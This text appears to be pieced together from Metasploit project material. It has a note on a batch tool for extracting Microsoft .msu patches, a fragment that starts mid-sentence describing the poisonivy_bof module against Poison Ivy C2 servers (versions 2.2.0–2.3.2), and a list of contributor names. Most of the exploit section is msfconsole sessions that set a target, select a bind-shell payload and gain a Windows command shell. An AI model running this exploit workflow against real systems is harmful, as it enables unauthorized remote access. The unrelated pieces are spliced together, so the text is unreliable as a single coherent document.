If you do patch test/analysis/diffing, you might find this tool
handy. This tool will automatically extract all the *.msu files,
and then you can search for the patched files you're looking for
quickly.
The workflow would be something like this:
1. You download the patches from:
http://mybulletins.technet.microsoft.com/BulletinPages/Dashboard
2. You put all the *.msu files in one directory.
3. Run this tool: extract_msu.bat [path to *.msu files]
4. The tool should extract the updates. After it's done, you can
use Windows to search for the file(s) you're looking for.
module removing the need for bruteforce in the case of an unknown
server password by (ab)using the challenge-response as an encryption
oracle, making it more reliable. The vulnerability has also been confirmed
in versions 2.2.0 up to 2.3.1 and additional targets for these versions
have been added as well.
See http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/
for details.
## Console output
Below is an example of the new functionality (PIVY C2 server password is
set to 'prettysecure' and unknown to attacker). Exploitation of versions 2.3.0 and 2.3.1
is similar.
### Version 2.3.2 (unknown password)
```
msf > use windows/misc/poisonivy_bof
msf exploit(poisonivy_bof) > set RHOST 192.168.0.103
RHOST => 192.168.0.103
msf exploit(poisonivy_bof) > check
[*] Vulnerable Poison Ivy C&C version 2.3.1/2.3.2 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.
msf exploit(poisonivy_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_bof) > exploit
[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.3.2>
```
### Version 2.2.0 (unknown password)
```
msf exploit(poisonivy_bof) > check
[*] Vulnerable Poison Ivy C&C version 2.2.0 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.
msf exploit(poisonivy_bof) > show targets
Exploit targets:
Id Name
-- ----
0 Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1
1 Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1
2 Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1
msf exploit(poisonivy_bof) > set TARGET 0
TARGET => 0
msf exploit(poisonivy_bof) > exploit
[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.2.0>
```
HD Moore
Christian Mehlmauer
wchen-r7
Daniel Jensen
xistence
jvazquez-r7
Hans-Martin Münch (h0ng10)
William Vu
Roberto Soares
James Lee
Fernando Arias
Louis Sato
joev
Manuel Mancera
samvartaka